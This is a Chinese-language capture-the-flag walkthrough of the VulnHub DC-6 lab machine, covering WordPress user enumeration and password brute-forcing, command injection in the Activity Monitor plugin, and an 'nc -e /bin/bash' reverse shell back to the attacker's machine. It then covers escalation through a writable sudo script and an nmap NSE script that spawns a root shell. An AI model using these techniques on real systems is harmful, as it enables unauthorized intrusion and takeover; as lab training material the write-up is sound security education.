VulnHub DC 6入侵实战 – 作者:FFFcaptain328

基本配置

靶机是从VulnHub上下载的DC6:

1604200008_5f9e2648ab34877f8da8a.png!small?1604200007475

攻击机使用的是Kali2020.3系统,网络设置:

1604200013_5f9e264d9f18bda7ca59c.png!small?1604200012434

信息搜集

先扫描虚拟网段192.168.187.0/24:

1604200017_5f9e2651c9541df16607b.png!small?1604200016498

发现主机192.168.187.139,进一步扫描:

1604200021_5f9e2655ac60f4e6a5900.png!small?1604200020462

发现Did not follow redirect to http://wordy/,需要更改/etc/hosts文件才能正常访问:

1604200026_5f9e265a4df527cbe27f0.png!small?1604200025051

下面访问http://wordy/:

1604200031_5f9e265f21d57b684b9cd.png!small?1604200030771

发现网站使用的CMS是WordPress5.1.1,看一下welcome的话,似乎wordy是一个安全插件的样子,那先searchsploit一下:

1604200035_5f9e26634aaa804cd3fa7.png!small?1604200034103

没啥可利用的。然后用之前在dc2靶机用过的wpscan扫描一下,使用 -e u 选项扫描一下用户:

1604200039_5f9e266793e6adf2f0f9f.png!small?1604200038405

扫出来5个用户,先全部记录在dc6users.txt里面备用。再用nikto扫描一下网站:

1604200043_5f9e266b85ceaf5c8aef8.png!small?1604200042406

找到登陆页面wp-login.php(虽然已经知道了):

1604200047_5f9e266fe6e66f0162975.png!small?1604200046652

最后,不要忘了靶机作者的提示https://www.vulnhub.com/entry/dc-6,315/

1604200052_5f9e2674e79e655cd1778.png!small?1604200051656

准备一个rockyou.txt字典有k01的子集,存放在dc6pass.txt中。到此,基本的信息收集完成,收获很多。

进入靶机

用户名和密码都有了,那么接下来就要试试爆破了。使用wpscan进行爆破:

1604200060_5f9e267c9b94516aea024.png!small?1604200059315

拿到了mark的密码,登录:

1604200064_5f9e2680efd3ea6945083.png!small?1604200063768

侧边栏好像多了一栏Activity monitor,看一下是什么:

1604200069_5f9e2685185756b326504.png!small?1604200067870

好像是个监视器之类的东西,searchsploit一下看看有没有可以利用的:

1604200073_5f9e2689ee0e49bfa9b82.png!small?1604200072706

发现一个很有趣的漏洞,仔细看看最后一条的描述:

1604200078_5f9e268e4dfc47e1cfff9.png!small?1604200077028

描述的不是很清楚,搜一搜CVE:

在exploit database搜到了完整的利用的描述https://www.exploit-db.com/exploits/45274(主要是有个截图):

1604200084_5f9e26945a9ed7b6cec1a.png!small?1604200083071

根据截图的指示,现在来到tools界面下:

1604200088_5f9e2698bf90d33c3ef46.png!small?1604200087500

提交后再点击lookup就可以执行命令了:

1604200093_5f9e269d7738afe2db4f3.png!small?1604200092174

确实有这个漏洞,那么下一条要执行的命令当然就是用nc回弹一个shell了:

nc -lvvp 4444 # 先在Kali上监听4444端口
nc -e /bin/bash 192.168.187.130 4444

输入时发现有长度限制,那就找到网页源码修改一下,把15改成150:

1604200098_5f9e26a2d8e830c10204c.png!small?1604200097650

提交后点击lookup,成功建立连接:

1604200104_5f9e26a8002270396243a.png!small?1604200102884

用python弹一个交互式的shell:

python -c 'import pty; pty.spawn("/bin/bash")'

现在正式进入了靶机。

横向渗透

老惯例,进入靶机后先收集信息:

1604200113_5f9e26b1a51c5fbc367f2.png!small?1604200112466

没什么特别的,那就去/home目录下看看:

1604200118_5f9e26b61f7c75fb56ca7.png!small?1604200116792

发现了四个目录,挨个挨个翻过去,在mark/stuff下找到如下一个小文件:

1604200125_5f9e26bd4bfba12e809db.png!small?1604200124051

这个似乎是graham的密码,去网站上试一下,但是没有成功,那么这个密码大概率是系统用户graham的密码。那就用这个密码切换:

1604200129_5f9e26c169b43c97ae855.png!small?1604200128158

成功切换成了用户graham,先收集一点graham用户的信息:

1604200133_5f9e26c57121e66de1374.png!small?1604200132192

现在先记录下来。

提权

用graham的账户又翻了翻,似乎没有更多有价值的信息了,那么接下来要做的就是提权。

先找找有没有可以利用的自导root权限的指令:

find / -user root -perm -4000 -print 2>/dev/null

1604200138_5f9e26ca48461a9655f50.png!small?1604200137061

从我所知的知识来看似乎没有什么可以利用的。那接下来看看有没有免密码sudo执行的指令:

sudo -l

1604200143_5f9e26cff14bd2e8017d9.png!small?1604200142734

意外发现sudo以jens的身份执行那个奇怪的backups.sh文件,先执行看看:

cd /home/jens
sudo -u jens ./backups.sh

发现确实是可以执行的,再看看有没有权限编辑:

1604200149_5f9e26d5b13389987aad0.png!small?1604200148388

由于graham也在devs组中(参见之前的图),所以有权限编辑这个脚本,那么接下来将/bin/bash写进脚本:

echo /bin/bash > backups.sh 

1604200154_5f9e26da46f9bb460a44b.png!small?1604200153015

此时再执行脚本:

1604200158_5f9e26de3e1941d94fc29.png!small?1604200157036

现在账户变成了jens,还是先收集点基本信息:

1604200162_5f9e26e239940843ef7cf.png!small?1604200160983

接下来继续 sudo -l 碰碰运气:

1604200166_5f9e26e626f8983bf0478.png!small?1604200164942

惊喜地发现可以免密码sudo执行nmap,那么肯定就是用nmap进行提权了:

nmap提权

nmap提权有两种情况:

  • nmap 5.20 版本以前有 –interactive 选项,在这个选项中nmap可以执行系统命令,可以利用这一点进行提权

  • nmap 5.20 以后地版本移除了 –interactive 选项,但是还有一个 –script 选项可以执行脚本,同样可以用来提权

既然nmap提权方法与版本有关,那第一件事就是确定nmap的版本号:

1604200171_5f9e26eb2ca09b9089313.png!small?1604200169899

发现这是个新版本,那就只有使用脚本来提权了。先准备一个nse脚本getShell.nse:

echo 'os.execute("/bin/bash")' > getShell.nse
sudo nmap --script=getShell.nse

1604200175_5f9e26ef2b9813b966474.png!small?1604200173991

成功拿到root权限,下面来到/root得到flag:

1604200178_5f9e26f2bd2e3734bf484.png!small?1604200177541

总结

总体而言,这次DC 6靶机对我来说是相对比较轻松的一次体验,除了在activity monitor那个位置卡顿了一会儿,其他的部分都基本上是一气呵成。能够感觉到自己对于渗透测试的总体流程更加熟悉。

这次学到的知识:

  • wpscan的使用更熟练了

  • 利用nc回弹shell的操作更加得心应手

  • 初步形成了关于提权的方法论

  • 学会了nmap提权

还需进一步学习的知识:

  • Linux系统的输出重定向不熟,想用的时候还需要查资料

来源:freebuf.com 2020-11-01 11:10:56 by: FFFcaptain328

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论